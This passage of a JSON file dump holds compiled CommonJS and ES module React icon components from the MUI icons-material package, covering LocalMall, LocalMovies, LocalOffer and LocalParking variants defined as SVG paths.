    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6h-2c0-2.76-2.24-5-5-5S7 3.24 7 6H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m7 17H5V8h14zm-7-8c-1.66 0-3-1.34-3-3H7c0 2.76 2.24 5 5 5s5-2.24 5-5h-2c0 1.66-1.34 3-3 3\"\n}), 'LocalMallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMallOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6h-2c0-2.76-2.24-5-5-5S7 3.24 7 6H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m7 17H5V8h14zm-7-8c-1.66 0-3-1.34-3-3H7c0 2.76 2.24 5 5 5s5-2.24 5-5h-2c0 1.66-1.34 3-3 3\"\n}), 'LocalMallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMallRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6h-2c0-2.76-2.24-5-5-5S7 3.24 7 6H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m0 10c-2.33 0-4.29-1.59-4.84-3.75-.17-.63.32-1.25.97-1.25.47 0 .85.34.98.8.35 1.27 1.51 2.2 2.89 2.2s2.54-.93 2.89-2.2c.13-.46.51-.8.98-.8.65 0 1.13.62.97 1.25C16.29 11.41 14.33 13 12 13\"\n}), 'LocalMallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMallRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6h-2c0-2.76-2.24-5-5-5S7 3.24 7 6H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-7-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m0 10c-2.33 0-4.29-1.59-4.84-3.75-.17-.63.32-1.25.97-1.25.47 0 .85.34.98.8.35 1.27 1.51 2.2 2.89 2.2s2.54-.93 2.89-2.2c.13-.46.51-.8.98-.8.65 0 1.13.62.97 1.25C16.29 11.41 14.33 13 12 13\"\n}), 'LocalMallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMallSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-4c0-2.76-2.24-5-5-5S7 3.24 7 6H3v16h18zm-9-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m0 10c-2.76 0-5-2.24-5-5h2c0 1.66 1.34 3 3 3s3-1.34 3-3h2c0 2.76-2.24 5-5 5\"\n}), 'LocalMallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMallSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-4c0-2.76-2.24-5-5-5S7 3.24 7 6H3v16h18zm-9-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m0 10c-2.76 0-5-2.24-5-5h2c0 1.66 1.34 3 3 3s3-1.34 3-3h2c0 2.76-2.24 5-5 5\"\n}), 'LocalMallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMallTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8v12h14V8zm7 6c-2.76 0-5-2.24-5-5h2c0 1.66 1.34 3 3 3s3-1.34 3-3h2c0 2.76-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6c0-2.76-2.24-5-5-5S7 3.24 7 6H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm-5-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m7 17H5V8h14zm-7-8c-1.66 0-3-1.34-3-3H7c0 2.76 2.24 5 5 5s5-2.24 5-5h-2c0 1.66-1.34 3-3 3\"\n}, \"1\")], 'LocalMallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMallTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8v12h14V8zm7 6c-2.76 0-5-2.24-5-5h2c0 1.66 1.34 3 3 3s3-1.34 3-3h2c0 2.76-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6c0-2.76-2.24-5-5-5S7 3.24 7 6H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm-5-3c1.66 0 3 1.34 3 3H9c0-1.66 1.34-3 3-3m7 17H5V8h14zm-7-8c-1.66 0-3-1.34-3-3H7c0 2.76 2.24 5 5 5s5-2.24 5-5h-2c0 1.66-1.34 3-3 3\"\n}, \"1\")], 'LocalMallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMovies.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'LocalMovies');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMovies.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'LocalMovies');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMoviesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 5v14h-4V5zm6-2h-2v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2zm-4 6V7h2v2zM6 9V7h2v2zm10 4v-2h2v2zM6 13v-2h2v2zm10 4v-2h2v2zM6 17v-2h2v2z\"\n}), 'LocalMoviesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMoviesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 5v14h-4V5zm6-2h-2v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2zm-4 6V7h2v2zM6 9V7h2v2zm10 4v-2h2v2zM6 13v-2h2v2zm10 4v-2h2v2zM6 17v-2h2v2z\"\n}), 'LocalMoviesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMoviesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4v1h-2V4c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v1H6V4c0-.55-.45-1-1-1s-1 .45-1 1v16c0 .55.45 1 1 1s1-.45 1-1v-1h2v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h2v1c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1M8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'LocalMoviesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMoviesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4v1h-2V4c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v1H6V4c0-.55-.45-1-1-1s-1 .45-1 1v16c0 .55.45 1 1 1s1-.45 1-1v-1h2v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h2v1c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1M8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'LocalMoviesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMoviesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'LocalMoviesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMoviesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 3v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2h2V3zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm10 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V7h2z\"\n}), 'LocalMoviesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMoviesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5h4v14h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 21V3h-2v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm6 10h-4V5h4zm2-12h2v2h-2zm0 4h2v2h-2zm0 6v-2h2v2z\"\n}, \"1\")], 'LocalMoviesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalMoviesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5h4v14h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 21V3h-2v2h-2V3H8v2H6V3H4v18h2v-2h2v2h8v-2h2v2zM8 17H6v-2h2zm0-4H6v-2h2zm0-4H6V7h2zm6 10h-4V5h4zm2-12h2v2h-2zm0 4h2v2h-2zm0 6v-2h2v2z\"\n}, \"1\")], 'LocalMoviesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOffer.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7\"\n}), 'LocalOffer');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOffer.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7\"\n}), 'LocalOffer');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOfferOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M13 20.01 4 11V4h7v-.01l9 9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'LocalOfferOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOfferOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M13 20.01 4 11V4h7v-.01l9 9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"1\")], 'LocalOfferOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOfferRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7\"\n}), 'LocalOfferRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOfferRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7\"\n}), 'LocalOfferRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOfferSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.83 12.99 11.83 2H2v9.83l10.99 10.99zM5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7\"\n}), 'LocalOfferSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOfferSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.83 12.99 11.83 2H2v9.83l10.99 10.99zM5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7\"\n}), 'LocalOfferSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOfferTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 4H4v7l9 9.01L20 13zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.41 2.58C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01 4 11V4h7v-.01l9 9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\")], 'LocalOfferTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalOfferTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 4H4v7l9 9.01L20 13zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.41 2.58C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01 4 11V4h7v-.01l9 9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\")], 'LocalOfferTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParking.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3H6v18h4v-6h3c3.31 0 6-2.69 6-6s-2.69-6-6-6m.2 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParking');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParking.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3H6v18h4v-6h3c3.31 0 6-2.69 6-6s-2.69-6-6-6m.2 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParking');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParkingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3H6v18h4v-6h3c3.31 0 6-2.69 6-6s-2.69-6-6-6m.2 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParkingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParkingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3H6v18h4v-6h3c3.31 0 6-2.69 6-6s-2.69-6-6-6m.2 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParkingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParkingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.79 3H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2s2-.9 2-2v-4h3c3.57 0 6.42-3.13 5.95-6.79C18.56 5.19 15.84 3 12.79 3m.41 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParkingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParkingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.79 3H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2s2-.9 2-2v-4h3c3.57 0 6.42-3.13 5.95-6.79C18.56 5.19 15.84 3 12.79 3m.41 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParkingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParkingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3H6v18h4v-6h3c3.31 0 6-2.69 6-6s-2.69-6-6-6m.2 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParkingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParkingSharp.mjs",
